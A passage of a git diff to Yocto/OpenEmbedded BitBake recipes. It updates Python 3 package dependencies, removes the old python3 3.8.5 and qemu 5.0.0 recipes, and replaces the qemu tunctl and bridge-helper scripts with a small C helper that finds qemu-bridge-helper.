+RDEPENDS:${PN}-ctypes:append:libc-glibc = " ${MLPREFIX}ldconfig"
+RDEPENDS:${PN}-ptest = "${PN}-modules ${PN}-tests ${PN}-dev ${PN}-cgitb ${PN}-zipapp unzip bzip2 libgcc tzdata coreutils sed gcc g++ binutils \
+ locale-base-fr-fr locale-base-en-us locale-base-de-de"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-tr-tr"
+RDEPENDS:${PN}-tkinter += "${@bb.utils.contains('PACKAGECONFIG', 'tk', '${MLPREFIX}tk ${MLPREFIX}tk-lib', '', d)}"
+RDEPENDS:${PN}-idle += "${@bb.utils.contains('PACKAGECONFIG', 'tk', '${PN}-tkinter ${MLPREFIX}tcl', '', d)}"
+DEV_PKG_DEPENDENCY = ""
+RDEPENDS:${PN}-pydoc += "${PN}-io"
+
+RDEPENDS:${PN}-tests:append:class-target = " ${MLPREFIX}bash"
+RDEPENDS:${PN}-tests:append:class-nativesdk = " ${MLPREFIX}bash"
+
+# Python's tests contain large numbers of files we don't need in the recipe sysroots
+SYSROOT_PREPROCESS_FUNCS += " py3_sysroot_cleanup"
+py3_sysroot_cleanup () {
+ rm -rf ${SYSROOT_DESTDIR}${libdir}/python${PYTHON_MAJMIN}/test
+}
diff --git a/meta/recipes-devtools/python/python3_3.8.5.bb b/meta/recipes-devtools/python/python3_3.8.5.bb
deleted file mode 100644
index cabe5dc075..0000000000
--- a/meta/recipes-devtools/python/python3_3.8.5.bb
+++ /dev/null
@@ -1,361 +0,0 @@
-SUMMARY = "The Python Programming Language"
-HOMEPAGE = "http://www.python.org"
-LICENSE = "PSFv2"
-SECTION = "devel/python"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=203a6dbc802ee896020a47161e759642"
-
-SRC_URI = "http://www.python.org/ftp/python/${PV}/Python-${PV}.tar.xz \
- file://run-ptest \
- file://create_manifest3.py \
- file://get_module_deps3.py \
- file://python3-manifest.json \
- file://check_build_completeness.py \
- file://cgi_py.patch \
- file://0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch \
- ${@bb.utils.contains('PACKAGECONFIG', 'tk', '', 'file://avoid_warning_about_tkinter.patch', d)} \
- file://0001-Do-not-use-the-shell-version-of-python-config-that-w.patch \
- file://python-config.patch \
- file://0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch \
- file://0001-Do-not-hardcode-lib-as-location-for-site-packages-an.patch \
- file://0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch \
- file://0001-Lib-sysconfig.py-fix-another-place-where-lib-is-hard.patch \
- file://0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch \
- file://0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch \
- file://crosspythonpath.patch \
- file://reformat_sysconfig.py \
- file://0001-Use-FLAG_REF-always-for-interned-strings.patch \
- file://0001-test_locale.py-correct-the-test-output-format.patch \
- file://0017-setup.py-do-not-report-missing-dependencies-for-disa.patch \
- file://0001-setup.py-pass-missing-libraries-to-Extension-for-mul.patch \
- file://0001-Makefile-do-not-compile-.pyc-in-parallel.patch \
- file://0001-configure.ac-fix-LIBPL.patch \
- file://0001-python3-Do-not-hardcode-lib-for-distutils.patch \
- file://0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch \
- "
-
-SRC_URI_append_class-native = " \
- file://0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch \
- file://12-distutils-prefix-is-inside-staging-area.patch \
- file://0001-Don-t-search-system-for-headers-libraries.patch \
- "
-
-SRC_URI[md5sum] = "35b5a3d0254c1c59be9736373d429db7"
-SRC_URI[sha256sum] = "e3003ed57db17e617acb382b0cade29a248c6026b1bd8aad1f976e9af66a83b0"
-
-# exclude pre-releases for both python 2.x and 3.x
-UPSTREAM_CHECK_REGEX = "[Pp]ython-(?P<pver>\d+(\.\d+)+).tar"
-
-CVE_PRODUCT = "python"
-
-# This is not exploitable when glibc has CVE-2016-10739 fixed.
-CVE_CHECK_WHITELIST += "CVE-2019-18348"
-
-PYTHON_MAJMIN = "3.8"
-
-S = "${WORKDIR}/Python-${PV}"
-
-BBCLASSEXTEND = "native nativesdk"
-
-inherit autotools pkgconfig qemu ptest multilib_header update-alternatives
-
-MULTILIB_SUFFIX = "${@d.getVar('base_libdir',1).split('/')[-1]}"
-
-ALTERNATIVE_${PN}-dev = "python3-config"
-ALTERNATIVE_LINK_NAME[python3-config] = "${bindir}/python${PYTHON_MAJMIN}-config"
-ALTERNATIVE_TARGET[python3-config] = "${bindir}/python${PYTHON_MAJMIN}-config-${MULTILIB_SUFFIX}"
-
-
-DEPENDS = "bzip2-replacement-native libffi bzip2 openssl sqlite3 zlib virtual/libintl xz virtual/crypt util-linux libtirpc libnsl2"
-DEPENDS_append_class-target = " python3-native"
-DEPENDS_append_class-nativesdk = " python3-native"
-
-EXTRA_OECONF = " --without-ensurepip --enable-shared"
-EXTRA_OECONF_append_class-native = " --bindir=${bindir}/${PN}"
-
-export CROSSPYTHONPATH="${STAGING_LIBDIR_NATIVE}/python${PYTHON_MAJMIN}/lib-dynload/"
-
-EXTRANATIVEPATH += "python3-native"
-
-CACHED_CONFIGUREVARS = " \
- ac_cv_file__dev_ptmx=yes \
- ac_cv_file__dev_ptc=no \
- ac_cv_working_tzset=yes \
-"
-
-def possibly_include_pgo(d):
- # PGO currently causes builds to not be reproducible, so disable it for
- # now. See YOCTO #13407
- if bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', True, False, d) and d.getVar('BUILD_REPRODUCIBLE_BINARIES') != '1':
- return 'pgo'
-
- return ''
-
-PACKAGECONFIG_class-target ??= "readline ${@possibly_include_pgo(d)} gdbm"
-PACKAGECONFIG_class-native ??= "readline gdbm"
-PACKAGECONFIG_class-nativesdk ??= "readline gdbm"
-PACKAGECONFIG[readline] = ",,readline"
-# Use profile guided optimisation by running PyBench inside qemu-user
-PACKAGECONFIG[pgo] = "--enable-optimizations,,qemu-native"
-PACKAGECONFIG[tk] = ",,tk"
-PACKAGECONFIG[gdbm] = ",,gdbm"
-
-do_configure_prepend () {
- mkdir -p ${B}/Modules
- cat > ${B}/Modules/Setup.local << EOF
-*disabled*
-${@bb.utils.contains('PACKAGECONFIG', 'gdbm', '', '_gdbm _dbm', d)}
-${@bb.utils.contains('PACKAGECONFIG', 'readline', '', 'readline', d)}
-EOF
-}
-
-CPPFLAGS_append = " -I${STAGING_INCDIR}/ncursesw -I${STAGING_INCDIR}/uuid"
-
-EXTRA_OEMAKE = '\
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- STAGING_INCDIR=${STAGING_INCDIR} \
- LIB=${baselib} \
-'
-
-do_compile_prepend_class-target() {
- if ${@bb.utils.contains('PACKAGECONFIG', 'pgo', 'true', 'false', d)}; then
- qemu_binary="${@qemu_wrapper_cmdline(d, '${STAGING_DIR_TARGET}', ['${B}', '${STAGING_DIR_TARGET}/${base_libdir}'])}"
- cat >pgo-wrapper <<EOF
-#!/bin/sh
-cd ${B}
-$qemu_binary "\$@"
-EOF
- chmod +x pgo-wrapper
- fi
-}
-
-do_install_prepend() {
- ${WORKDIR}/check_build_completeness.py ${T}/log.do_compile
-}
-
-do_install_append_class-target() {
- oe_multilib_header python${PYTHON_MAJMIN}/pyconfig.h
-}
-
-do_install_append_class-native() {
- # Make sure we use /usr/bin/env python
- for PYTHSCRIPT in `grep -rIl ${bindir}/${PN}/python ${D}${bindir}/${PN}`; do
- sed -i -e '1s|^#!.*|#!/usr/bin/env python3|' $PYTHSCRIPT
- done
- # Add a symlink to the native Python so that scripts can just invoke
- # "nativepython" and get the right one without needing absolute paths
- # (these often end up too long for the #! parser in the kernel as the
- # buffer is 128 bytes long).
- ln -s python3-native/python3 ${D}${bindir}/nativepython3
-}
-
-do_install_append() {
- mkdir -p ${D}${libdir}/python-sysconfigdata
- sysconfigfile=`find ${D} -name _sysconfig*.py`
- cp $sysconfigfile ${D}${libdir}/python-sysconfigdata/_sysconfigdata.py
-
- sed -i \
- -e "s,^ 'LIBDIR'.*, 'LIBDIR': '${STAGING_LIBDIR}'\,,g" \
- -e "s,^ 'INCLUDEDIR'.*, 'INCLUDEDIR': '${STAGING_INCDIR}'\,,g" \
- -e "s,^ 'CONFINCLUDEDIR'.*, 'CONFINCLUDEDIR': '${STAGING_INCDIR}'\,,g" \
- -e "/^ 'INCLDIRSTOMAKE'/{N; s,/usr/include,${STAGING_INCDIR},g}" \
- -e "/^ 'INCLUDEPY'/s,/usr/include,${STAGING_INCDIR},g" \
- ${D}${libdir}/python-sysconfigdata/_sysconfigdata.py
-}
-
-do_install_append_class-nativesdk () {
- create_wrapper ${D}${bindir}/python${PYTHON_MAJMIN} TERMINFO_DIRS='${sysconfdir}/terminfo:/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo' PYTHONNOUSERSITE='1'
-}
-
-SSTATE_SCAN_FILES += "Makefile _sysconfigdata.py"
-PACKAGE_PREPROCESS_FUNCS += "py_package_preprocess"
-
-py_package_preprocess () {
- # Remove references to buildmachine paths in target Makefile and _sysconfigdata
- sed -i -e 's:--sysroot=${STAGING_DIR_TARGET}::g' -e s:'--with-libtool-sysroot=${STAGING_DIR_TARGET}'::g \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${RECIPE_SYSROOT}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/config-${PYTHON_MAJMIN}${PYTHON_ABI}*/Makefile \
- ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py \
- ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config
-
- # Reformat _sysconfigdata after modifying it so that it remains
- # reproducible
- for c in ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py; do
- python3 ${WORKDIR}/reformat_sysconfig.py $c
- done
-
- # Recompile _sysconfigdata after modifying it
- cd ${PKGD}
- sysconfigfile=`find . -name _sysconfigdata_*.py`
- ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
- -c "from py_compile import compile; compile('$sysconfigfile')"
- ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
- -c "from py_compile import compile; compile('$sysconfigfile', optimize=1)"
- ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
- -c "from py_compile import compile; compile('$sysconfigfile', optimize=2)"
- cd -
-
- mv ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config-${MULTILIB_SUFFIX}
-
- #Remove the unneeded copy of target sysconfig data
- rm -rf ${PKGD}/${libdir}/python-sysconfigdata
-}
-
-# We want bytecode precompiled .py files (.pyc's) by default
-# but the user may set it on their own conf
-INCLUDE_PYCS ?= "1"
-
-python(){
- import collections, json
-
- filename = os.path.join(d.getVar('THISDIR'), 'python3', 'python3-manifest.json')
- # This python changes the datastore based on the contents of a file, so mark
- # that dependency.
- bb.parse.mark_dependency(d, filename)
-
- with open(filename) as manifest_file:
- manifest_str = manifest_file.read()
- json_start = manifest_str.find('# EOC') + 6
- manifest_file.seek(json_start)
- manifest_str = manifest_file.read()
- python_manifest = json.loads(manifest_str, object_pairs_hook=collections.OrderedDict)
-
- # First set RPROVIDES for -native case
- # Hardcoded since it cant be python3-native-foo, should be python3-foo-native
- pn = 'python3'
- rprovides = d.getVar('RPROVIDES').split()
-
- # ${PN}-misc-native is not in the manifest
- rprovides.append(pn + '-misc-native')
-
- for key in python_manifest:
- pypackage = pn + '-' + key + '-native'
- if pypackage not in rprovides:
- rprovides.append(pypackage)
-
- d.setVar('RPROVIDES_class-native', ' '.join(rprovides))
-
- # Then work on the target
- include_pycs = d.getVar('INCLUDE_PYCS')
-
- packages = d.getVar('PACKAGES').split()
- pn = d.getVar('PN')
-
- newpackages=[]
- for key in python_manifest:
- pypackage = pn + '-' + key
-
- if pypackage not in packages:
- # We need to prepend, otherwise python-misc gets everything
- # so we use a new variable
- newpackages.append(pypackage)
-
- # "Build" python's manifest FILES, RDEPENDS and SUMMARY
- d.setVar('FILES_' + pypackage, '')
- for value in python_manifest[key]['files']:
- d.appendVar('FILES_' + pypackage, ' ' + value)
-
- # Add cached files
- if include_pycs == '1':
- for value in python_manifest[key]['cached']:
- d.appendVar('FILES_' + pypackage, ' ' + value)
-
- for value in python_manifest[key]['rdepends']:
- # Make it work with or without $PN
- if '${PN}' in value:
- value=value.split('-', 1)[1]
- d.appendVar('RDEPENDS_' + pypackage, ' ' + pn + '-' + value)
-
- for value in python_manifest[key].get('rrecommends', ()):
- if '${PN}' in value:
- value=value.split('-', 1)[1]
- d.appendVar('RRECOMMENDS_' + pypackage, ' ' + pn + '-' + value)
-
- d.setVar('SUMMARY_' + pypackage, python_manifest[key]['summary'])
-
- # Prepending so to avoid python-misc getting everything
- packages = newpackages + packages
- d.setVar('PACKAGES', ' '.join(packages))
- d.setVar('ALLOW_EMPTY_${PN}-modules', '1')
- d.setVar('ALLOW_EMPTY_${PN}-pkgutil', '1')
-}
-
-# Files needed to create a new manifest
-
-do_create_manifest() {
- # This task should be run with every new release of Python.
- # We must ensure that PACKAGECONFIG enables everything when creating
- # a new manifest, this is to base our new manifest on a complete
- # native python build, containing all dependencies, otherwise the task
- # wont be able to find the required files.
- # e.g. BerkeleyDB is an optional build dependency so it may or may not
- # be present, we must ensure it is.
-
- cd ${WORKDIR}
- # This needs to be executed by python-native and NOT by HOST's python
- nativepython3 create_manifest3.py ${PYTHON_MAJMIN}
- cp python3-manifest.json.new ${THISDIR}/python3/python3-manifest.json
-}
-
-# bitbake python -c create_manifest
-addtask do_create_manifest
-
-# Make sure we have native python ready when we create a new manifest
-do_create_manifest[depends] += "${PN}:do_prepare_recipe_sysroot"
-do_create_manifest[depends] += "${PN}:do_patch"
-
-# manual dependency additions
-RRECOMMENDS_${PN}-core_append_class-nativesdk = " nativesdk-python3-modules"
-RRECOMMENDS_${PN}-crypt_append_class-target = " ${MLPREFIX}openssl ${MLPREFIX}ca-certificates"
-RRECOMMENDS_${PN}-crypt_append_class-nativesdk = " ${MLPREFIX}openssl ${MLPREFIX}ca-certificates"
-
-# For historical reasons PN is empty and provided by python3-modules
-FILES_${PN} = ""
-RPROVIDES_${PN}-modules = "${PN}"
-
-FILES_${PN}-pydoc += "${bindir}/pydoc${PYTHON_MAJMIN} ${bindir}/pydoc3"
-FILES_${PN}-idle += "${bindir}/idle3 ${bindir}/idle${PYTHON_MAJMIN}"
-
-# provide python-pyvenv from python3-venv
-RPROVIDES_${PN}-venv += "${MLPREFIX}python3-pyvenv"
-
-# package libpython3
-PACKAGES =+ "libpython3 libpython3-staticdev"
-FILES_libpython3 = "${libdir}/libpython*.so.*"
-FILES_libpython3-staticdev += "${libdir}/python${PYTHON_MAJMIN}/config-${PYTHON_MAJMIN}-*/libpython${PYTHON_MAJMIN}.a"
-INSANE_SKIP_${PN}-dev += "dev-elf"
-
-# catch all the rest (unsorted)
-PACKAGES += "${PN}-misc"
-RDEPENDS_${PN}-misc += "\
- ${PN}-core \
- ${PN}-email \
- ${PN}-codecs \
- ${PN}-pydoc \
- ${PN}-pickle \
- ${PN}-audio \
- ${PN}-numbers \
-"
-RDEPENDS_${PN}-modules_append_class-target = " ${MLPREFIX}python3-misc"
-RDEPENDS_${PN}-modules_append_class-nativesdk = " ${MLPREFIX}python3-misc"
-FILES_${PN}-misc = "${libdir}/python${PYTHON_MAJMIN} ${libdir}/python${PYTHON_MAJMIN}/lib-dynload"
-
-# catch manpage
-PACKAGES += "${PN}-man"
-FILES_${PN}-man = "${datadir}/man"
-
-# See https://bugs.python.org/issue18748 and https://bugs.python.org/issue37395
-RDEPENDS_libpython3_append_libc-glibc = " libgcc"
-RDEPENDS_${PN}-ctypes_append_libc-glibc = " ${MLPREFIX}ldconfig"
-RDEPENDS_${PN}-ptest = "${PN}-modules ${PN}-tests unzip bzip2 libgcc tzdata-europe coreutils sed"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " locale-base-tr-tr.iso-8859-9"
-RDEPENDS_${PN}-tkinter += "${@bb.utils.contains('PACKAGECONFIG', 'tk', 'tk tk-lib', '', d)}"
-RDEPENDS_${PN}-idle += "${@bb.utils.contains('PACKAGECONFIG', 'tk', '${PN}-tkinter tcl', '', d)}"
-RDEPENDS_${PN}-dev = ""
-
-RDEPENDS_${PN}-tests_append_class-target = " ${MLPREFIX}bash"
-RDEPENDS_${PN}-tests_append_class-nativesdk = " ${MLPREFIX}bash"
diff --git a/meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb b/meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb
index ca1ad964dc..5d40784201 100644
--- a/meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb
+++ b/meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb
@@ -1,13 +1,11 @@
SUMMARY = "Qemu helper scripts"
-LICENSE = "GPLv2"
-RDEPENDS_${PN} = "nativesdk-qemu \
+LICENSE = "GPL-2.0-only"
+RDEPENDS:${PN} = "nativesdk-qemu nativesdk-unfs3 nativesdk-pseudo \
nativesdk-python3-shell nativesdk-python3-fcntl nativesdk-python3-logging \
"
-PR = "r9"
-LIC_FILES_CHKSUM = "file://${WORKDIR}/tunctl.c;endline=4;md5=ff3a09996bc5fff6bc5d4e0b4c28f999 \
- file://${COREBASE}/scripts/runqemu;beginline=5;endline=10;md5=ac2b489a58739c7628a2604698db5e7f"
+LIC_FILES_CHKSUM = "file://${COREBASE}/scripts/runqemu;beginline=5;endline=10;md5=ac2b489a58739c7628a2604698db5e7f"
SRC_URI = "file://${COREBASE}/scripts/runqemu \
@@ -18,7 +16,6 @@ SRC_URI = "file://${COREBASE}/scripts/runqemu \
file://${COREBASE}/scripts/oe-find-native-sysroot \
file://${COREBASE}/scripts/runqemu-extract-sdk \
file://${COREBASE}/scripts/runqemu-export-rootfs \
- file://tunctl.c \
"
S = "${WORKDIR}"
@@ -26,12 +23,11 @@ S = "${WORKDIR}"
inherit nativesdk
do_compile() {
- ${CC} tunctl.c -o tunctl
+ :
}
do_install() {
install -d ${D}${bindir}
install -m 0755 ${WORKDIR}${COREBASE}/scripts/oe-* ${D}${bindir}/
install -m 0755 ${WORKDIR}${COREBASE}/scripts/runqemu* ${D}${bindir}/
- install tunctl ${D}${bindir}/
}
diff --git a/meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb b/meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb
index 2fc07669dd..1dfce0e4c7 100644
--- a/meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb
+++ b/meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb
@@ -1,29 +1,23 @@
SUMMARY = "Helper utilities needed by the runqemu script"
-LICENSE = "GPLv2"
-RDEPENDS_${PN} = "qemu-system-native"
-PR = "r1"
+LICENSE = "GPL-2.0-only"
+RDEPENDS:${PN} = "qemu-system-native"
-LIC_FILES_CHKSUM = "file://${WORKDIR}/tunctl.c;endline=4;md5=ff3a09996bc5fff6bc5d4e0b4c28f999"
+LIC_FILES_CHKSUM = "file://${WORKDIR}/qemu-oe-bridge-helper.c;endline=4;md5=ae00a3bab86f2caaa8462eacda77f4d7"
-SRC_URI = "\
- file://tunctl.c \
- file://qemu-oe-bridge-helper \
- "
+SRC_URI = "file://qemu-oe-bridge-helper.c"
S = "${WORKDIR}"
inherit native
do_compile() {
- ${CC} ${CFLAGS} ${LDFLAGS} -Wall tunctl.c -o tunctl
+ ${CC} ${CFLAGS} ${LDFLAGS} -Wall qemu-oe-bridge-helper.c -o qemu-oe-bridge-helper
}
do_install() {
install -d ${D}${bindir}
- install tunctl ${D}${bindir}/
-
- install -m 755 ${WORKDIR}/qemu-oe-bridge-helper ${D}${bindir}/
+ install qemu-oe-bridge-helper ${D}${bindir}/
}
-DEPENDS += "qemu-system-native"
+DEPENDS += "qemu-system-native unfs3-native pseudo-native"
addtask addto_recipe_sysroot after do_populate_sysroot before do_build
diff --git a/meta/recipes-devtools/qemu/qemu-helper/qemu-oe-bridge-helper b/meta/recipes-devtools/qemu/qemu-helper/qemu-oe-bridge-helper
deleted file mode 100755
index f057d4eef0..0000000000
--- a/meta/recipes-devtools/qemu/qemu-helper/qemu-oe-bridge-helper
+++ /dev/null
@@ -1,25 +0,0 @@
-#! /bin/sh
-# Copyright 2020 Garmin Ltd. or its subsidiaries
-#
-# SPDX-License-Identifier: GPL-2.0
-#
-# Attempts to find and exec the host qemu-bridge-helper program
-
-# If the QEMU_BRIDGE_HELPER variable is set by the user, exec it.
-if [ -n "$QEMU_BRIDGE_HELPER" ]; then
- exec "$QEMU_BRIDGE_HELPER" "$@"
-fi
-
-# Search common paths for the helper program
-BN="qemu-bridge-helper"
-PATHS="/usr/libexec/ /usr/lib/qemu/"
-
-for p in $PATHS; do
- if [ -e "$p/$BN" ]; then
- exec "$p/$BN" "$@"
- fi
-done
-
-echo "$BN not found!" > /dev/stderr
-exit 1
-
diff --git a/meta/recipes-devtools/qemu/qemu-helper/qemu-oe-bridge-helper.c b/meta/recipes-devtools/qemu/qemu-helper/qemu-oe-bridge-helper.c
new file mode 100644
index 0000000000..c34aa00567
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu-helper/qemu-oe-bridge-helper.c
@@ -0,0 +1,40 @@
+/*
+ * Copyright 2022 Garmin Ltd. or its subsidiaries
+ *
+ * SPDX-License-Identifier: GPL-2.0
+ *
+ * Attempts to find and exec the host qemu-bridge-helper program
+ */
+
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+#include <stdlib.h>
+
+void try_program(char const* path, char** args) {
+ if (access(path, X_OK) == 0) {
+ execv(path, args);
+ }
+}
+
+int main(int argc, char** argv) {
+ char* var;
+
+ var = getenv("QEMU_BRIDGE_HELPER");
+ if (var && var[0] != '\0') {
+ execvp(var, argv);
+ return 1;
+ }
+
+ if (argc == 2 && strcmp(argv[1], "--help") == 0) {
+ fprintf(stderr, "Helper function to find and exec qemu-bridge-helper. Set QEMU_BRIDGE_HELPER to override default search path\n");
+ return 0;
+ }
+
+ try_program("/usr/libexec/qemu-bridge-helper", argv);
+ try_program("/usr/lib/qemu/qemu-bridge-helper", argv);
+
+ fprintf(stderr, "No bridge helper found\n");
+ return 1;
+}
+
diff --git a/meta/recipes-devtools/qemu/qemu-helper/tunctl.c b/meta/recipes-devtools/qemu/qemu-helper/tunctl.c
deleted file mode 100644
index d745dd06cb..0000000000
--- a/meta/recipes-devtools/qemu/qemu-helper/tunctl.c
+++ /dev/null
@@ -1,158 +0,0 @@
-/* Copyright 2002 Jeff Dike
- * Licensed under the GPL
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <pwd.h>
-#include <grp.h>
-#include <net/if.h>
-#include <sys/ioctl.h>
-#include <linux/if_tun.h>
-
-/* TUNSETGROUP appeared in 2.6.23 */
-#ifndef TUNSETGROUP
-#define TUNSETGROUP _IOW('T', 206, int)
-#endif
-
-static void Usage(char *name, int status)
-{
- fprintf(stderr, "Create: %s [-b] [-u owner] [-g group] [-t device-name] "
- "[-f tun-clone-device]\n", name);
- fprintf(stderr, "Delete: %s -d device-name [-f tun-clone-device]\n\n",
- name);
- fprintf(stderr, "The default tun clone device is /dev/net/tun - some systems"
- " use\n/dev/misc/net/tun instead\n\n");
- fprintf(stderr, "-b will result in brief output (just the device name)\n");
- exit(status);
-}
-
-int main(int argc, char **argv)
-{
- struct ifreq ifr;
- struct passwd *pw;
- struct group *gr;
- uid_t owner = -1;
- gid_t group = -1;
- int tap_fd, opt, delete = 0, brief = 0;
- char *tun = "", *file = "/dev/net/tun", *name = argv[0], *end;
-
- while((opt = getopt(argc, argv, "bd:f:t:u:g:h")) > 0){
- switch(opt) {
- case 'b':
- brief = 1;
- break;
- case 'd':
- delete = 1;
- tun = optarg;
- break;
- case 'f':
- file = optarg;
- break;
- case 'u':
- pw = getpwnam(optarg);
- if(pw != NULL){
- owner = pw->pw_uid;
- break;
- }
- owner = strtol(optarg, &end, 0);
- if(*end != '\0'){
- fprintf(stderr, "'%s' is neither a username nor a numeric uid.\n",
- optarg);
- Usage(name, 1);
- }
- break;
- case 'g':
- gr = getgrnam(optarg);
- if(gr != NULL){
- group = gr->gr_gid;
- break;
- }
- group = strtol(optarg, &end, 0);
- if(*end != '\0'){
- fprintf(stderr, "'%s' is neither a groupname nor a numeric group.\n",
- optarg);
- Usage(name, 1);
- }
- break;
-
- case 't':
- tun = optarg;
- break;
- case 'h':
- Usage(name, 0);
- break;
- default:
- Usage(name, 1);
- }
- }
-
- argv += optind;
- argc -= optind;
-
- if(argc > 0)
- Usage(name, 1);
-
- if((tap_fd = open(file, O_RDWR)) < 0){
- fprintf(stderr, "Failed to open '%s' : ", file);
- perror("");
- exit(1);
- }
-
- memset(&ifr, 0, sizeof(ifr));
-
- ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
- strncpy(ifr.ifr_name, tun, sizeof(ifr.ifr_name) - 1);
- if(ioctl(tap_fd, TUNSETIFF, (void *) &ifr) < 0){
- perror("TUNSETIFF");
- exit(1);
- }
-
- if(delete){
- if(ioctl(tap_fd, TUNSETPERSIST, 0) < 0){
- perror("disabling TUNSETPERSIST");
- exit(1);
- }
- printf("Set '%s' nonpersistent\n", ifr.ifr_name);
- }
- else {
- /* emulate behaviour prior to TUNSETGROUP */
- if(owner == -1 && group == -1) {
- owner = geteuid();
- }
-
- if(owner != -1) {
- if(ioctl(tap_fd, TUNSETOWNER, owner) < 0){
- perror("TUNSETOWNER");
- exit(1);
- }
- }
- if(group != -1) {
- if(ioctl(tap_fd, TUNSETGROUP, group) < 0){
- perror("TUNSETGROUP");
- exit(1);
- }
- }
-
- if(ioctl(tap_fd, TUNSETPERSIST, 1) < 0){
- perror("enabling TUNSETPERSIST");
- exit(1);
- }
-
- if(brief)
- printf("%s\n", ifr.ifr_name);
- else {
- printf("Set '%s' persistent and owned by", ifr.ifr_name);
- if(owner != -1)
- printf(" uid %d", owner);
- if(group != -1)
- printf(" gid %d", group);
- printf("\n");
- }
- }
- return(0);
-}
diff --git a/meta/recipes-devtools/qemu/qemu-native.inc b/meta/recipes-devtools/qemu/qemu-native.inc
index dcf140ea1b..891dc5e2a1 100644
--- a/meta/recipes-devtools/qemu/qemu-native.inc
+++ b/meta/recipes-devtools/qemu/qemu-native.inc
@@ -1,15 +1,7 @@
-inherit native
-
require qemu.inc
-SRC_URI_append = " \
- file://0013-cpus.c-Add-error-messages-when-qemi_cpu_kick_thread-.patch \
- "
-
-EXTRA_OEMAKE_append = " LD='${LD}' AR='${AR}' OBJCOPY='${OBJCOPY}' LDFLAGS='${LDFLAGS}'"
+inherit_defer native
-LDFLAGS_append = " -fuse-ld=bfd"
+EXTRA_OEMAKE:append = " LD='${LD}' AR='${AR}' OBJCOPY='${OBJCOPY}' LDFLAGS='${LDFLAGS}'"
-do_install_append() {
- ${@bb.utils.contains('PACKAGECONFIG', 'gtk+', 'make_qemu_wrapper', '', d)}
-}
+LDFLAGS:append = " -fuse-ld=bfd"
diff --git a/meta/recipes-devtools/qemu/qemu-native_5.0.0.bb b/meta/recipes-devtools/qemu/qemu-native_5.0.0.bb
deleted file mode 100644
index c8acff8e19..0000000000
--- a/meta/recipes-devtools/qemu/qemu-native_5.0.0.bb
+++ /dev/null
@@ -1,9 +0,0 @@
-BPN = "qemu"
-
-DEPENDS = "glib-2.0-native zlib-native"
-
-require qemu-native.inc
-
-EXTRA_OECONF_append = " --target-list=${@get_qemu_usermode_target_list(d)} --disable-tools --disable-blobs --disable-guest-agent"
-
-PACKAGECONFIG ??= ""
diff --git a/meta/recipes-devtools/qemu/qemu-native_8.2.1.bb b/meta/recipes-devtools/qemu/qemu-native_8.2.1.bb
new file mode 100644
index 0000000000..a77953529b
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu-native_8.2.1.bb
@@ -0,0 +1,9 @@
+BPN = "qemu"
+
+DEPENDS += "glib-2.0-native zlib-native"
+
+require qemu-native.inc
+
+EXTRA_OECONF:append = " --target-list=${@get_qemu_usermode_target_list(d)} --disable-tools --disable-install-blobs --disable-guest-agent"
+
+PACKAGECONFIG ??= "pie"
diff --git a/meta/recipes-devtools/qemu/qemu-system-native_5.0.0.bb b/meta/recipes-devtools/qemu/qemu-system-native_5.0.0.bb
deleted file mode 100644
index 7394385d30..0000000000
--- a/meta/recipes-devtools/qemu/qemu-system-native_5.0.0.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-BPN = "qemu"
-
-require qemu-native.inc
-
-# As some of the files installed by qemu-native and qemu-system-native
-# are the same, we depend on qemu-native to get the full installation set
-# and avoid file clashes
-DEPENDS = "glib-2.0-native zlib-native pixman-native qemu-native bison-native"
-
-EXTRA_OECONF_append = " --target-list=${@get_qemu_system_target_list(d)}"
-
-PACKAGECONFIG ??= "fdt alsa kvm \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer glx', '' ,d)} \
-"
-
-# Handle distros such as CentOS 5 32-bit that do not have kvm support
-PACKAGECONFIG_remove = "${@'kvm' if not os.path.exists('/usr/include/linux/kvm.h') else ''}"
-
-do_install_append() {
- install -Dm 0755 ${WORKDIR}/powerpc_rom.bin ${D}${datadir}/qemu
-
- # The following is also installed by qemu-native
- rm -f ${D}${datadir}/qemu/trace-events-all
- rm -rf ${D}${datadir}/qemu/keymaps
- rm -rf ${D}${datadir}/icons/
-}
